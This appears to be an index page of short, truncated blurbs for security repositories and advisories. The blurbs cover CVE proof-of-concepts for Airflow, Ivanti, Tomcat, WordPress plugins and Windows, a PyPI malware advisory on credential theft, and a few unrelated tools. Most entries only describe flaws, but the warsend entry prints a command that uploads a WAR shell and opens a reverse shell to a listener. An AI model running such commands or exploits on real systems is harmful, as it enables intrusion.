CVE-2026-25604-PoC

CVE-2026-25604 PoC Host Header Injection leading to SAML authentication bypass in Apache Airflow's AWS Auth Manager An attacker can inject a malicious Host header into the SAML login flow, causing the Assertion Consumer Service ACS URL to point to an attacker-controlled server. This allows the...

CVE-2024-29847

CVE-2024-29847 PoC para la vulnerabilidad de ejecución remota de código por deserialización de datos no confiables en AgentPortal de Ivanti Endpoint Manager CVE-2024-29847 Un análisis de causa raíz de la vulnerabilidad se puede encontrar en mi blog:...

aem-xss

Insignias Licencia MIT Instalación 1. Instala Python3 y pip Instrucciones aquí Si no puedes resolver esto, realmente no deberías estar usando esta herramienta Instala vía pip pip install aem-xss Ejecuta el siguiente comando para comprobar aem-xss -h Configuraciones 2. Nos integramos con la API de...

warsend

WARSend Subida de WAR Shell en la API de Apache Tomcat Manager Requisitos previos Credenciales Acceso a la API de texto de Tomcat Manager $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / /...

easyssh

EasySSH El gestor de conexiones SSH para hacer tu vida más fácil. ¡Buscamos mantenedores! Un gestor completo, eficiente y fácil de usar. Crea y edita conexiones, grupos, personaliza la terminal, con múltiples instancias de la misma conexión. Características Gestionar conexiones y grupos...

CVE-2026-1937

🔴 Resumen de la Vulnerabilidad CVE-2026-1937 — Autorización faltante → Actualización arbitraria de opciones → Escalada de privilegios Campo| Detalles ---|--- ID CVE| CVE-2026-1937 Gravedad| ALTA — Puntuación CVSS v3.1: 7.2 Vector| CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H CNA| Wordfence...

CVE-2009-3036

CVE-2009-3036 SpeeDr00t@Black Falcon bid38241 Vulnerabilidad de Inyección HTML en la Consola de Symantec IM Manager información discusión exploit solución referencias ID de Bugtraq: | 38241 ---|--- Clase: | Error de Validación de Entrada CVE: | CVE-2009-3036 Remoto: | Sí Local: | No Publicado: | ...

CVE-2025-63946-Tencent-PC-Manager-EoP

CVE-2025-63946 Escalada de Privilegios en Tencent PC Manager versión: PCManager versión menor o igual a 17.10.28554.205 Resumen: Descubrí una vulnerabilidad en Tencent PC Manager donde los archivos y directorios bajo C:\Windows\Temp se manejan de forma insegura. Un atacante puede aprovechar ataqu...

CVE-2026-20805-PoC

🛡️ AI Security Tool Module CVE-2026-20805: Desktop Window Manager dwm.exe Memory Disclosure Official Security Audit Module for AI Security Tool Ecosystem 🌐 Web Demo • 📚 Project Website • 💬 Community Chat Website Navigation: Home • Updates • Downloads • Modules 🧠 Conceptual Overview This module...

CVE-2023-4861-PoC

CVE-2023-4861 PoC This repository contains a Python proof of concept for CVE-2023-4861 , an authenticated remote code execution issue in the WordPress plugin File Manager Pro - Filester. Vulnerability Summary CVE: CVE-2023-4861 Product: File Manager Pro - Filester filester Vulnerable versions:...

SAP_EEM_CVE-2020-6207

PoC para CVE-2020-6207 Falta de comprobación de autenticación en SAP Solution Manager Este script permite verificar y explotar la falta de comprobaciones de autenticación en el servlet SAP EEM tcsmdagentapplicationeem que conduce a RCE en agentes SMDA conectados a SAP Solution Manager Hallazgo...

CVE-2026-26211

-orange?style=for-the-badge&logo=owasp CVE-2026-26211: Stored XSS in Ekushey Project Manager CRM Product: Ekushey Project Manager CRM Version: 5.0 Vulnerability: Stored Cross-Site Scripting XSS CWE: CWE-79 Researcher: LINDAN TRI SAPUTRA Initial Report: August 1, 2026 Summary A stored Cross-Site...

MAL-2026-17421 Malicious code in spo365-graph (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 ea8dd7600717964f4ca8f8b1134f867f4bf69f1538243d5c7da752eefed99fe1 During installation, the package deploys a rogue AWS Lambda function to collect credentials from Secret Manager as well as collect other data. Data are then...

WordPress MultiVendorX – WooCommerce Multivendor Marketplace AI Powered Solutions plugin <= 5.0.18 - Authenticated (Store Manager+) SQL Injection vulnerability

Authenticated Store Manager+ SQL Injection vulnerability discovered by Wordfence PRISM in WordPress Plugin MultiVendorX versions = 5.0.18...

ssct

ShadowSocks ConnecTion A wrapper tool for shadowsocks to consistently bypass firewalls. Quick start Automatically connect The easiest way to run this tool is just type ssct in terminal, and ssct will acquire available shadowsocks servers from ishadowsocks and connect to it automatically. Connect ...

copy.fail-mitigation-MLM

Create a new configuration channel State Channel in Multi-Linux Manager using the code from the copy-fail.sls file. Assign the config channel to all your machines and run it, or execute Highstate. This is a temporary fix!...

iVANTI-CVE-2021-38560

iVANTI-CVE-2021-38560 Ivanti Service Manager 2021.1 infected with reflected XSS via the appName parameter associated with ConfigDB calls, such as in RelocateAttachments.aspx. Vulnerability Type: Cross Site Scripting XSS Vendor of Product: IVANTI Affected Product Versions: Service Manager - =...

CVE-2026-20805-POC

CVE-2026-20805 PoC Proof of concept for the information disclosure vulnerability in Microsoft's Desktop Window Manager dwm.exe. 📋 Vulnerability Summary ID: CVE-2026-20805 Product: Microsoft Windows Component: Desktop Window Manager dwm.exe CWE-ID: CWE-200 Exposure of Sensitive Information to an...

CVE-2021-45010-TinyFileManager-Exploit

CVE-2021-45010 CVE-2021-45010: A Path traversal vulnerability in the file upload functionality in tinyfilemanager.php in Tiny File Manager Project’s Tiny File Manager = 2.4.3 allows remote attackers with valid user accounts to upload malicious PHP files to the webroot and achieve code execution o...

CVE-2026-47574

A flaw was found in the NVIDIA Virtual GPU vGPU Manager for Linux. A local user with basic privileges can exploit an incorrect transfer of resources across isolation spheres. Successful exploitation could allow an attacker to execute arbitrary code, escalate privileges, cause a denial of service...